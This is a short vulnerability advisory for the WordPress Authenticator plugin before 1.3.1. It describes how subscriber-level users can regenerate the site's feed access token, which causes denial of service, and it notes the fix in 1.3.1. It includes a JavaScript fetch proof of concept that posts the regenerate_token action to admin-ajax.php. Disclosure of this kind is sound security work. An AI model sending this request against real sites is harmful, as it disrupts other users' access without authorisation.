WordPress Plugin Vulnerabilities

Authenticator < 1.3.1 - Subscriber+ Denial of Service via Feed Token Disclosure

Description

The plugin does not prevent subscribers from updating a site's feed access token, which may deny other users access to the functionality in certain configurations.

Proof of Concept

fetch('http://localhost/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=regenerate_token&nonce='+authenticatorUI.nonce
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

Affects Plugins

Fixed in 1.3.1
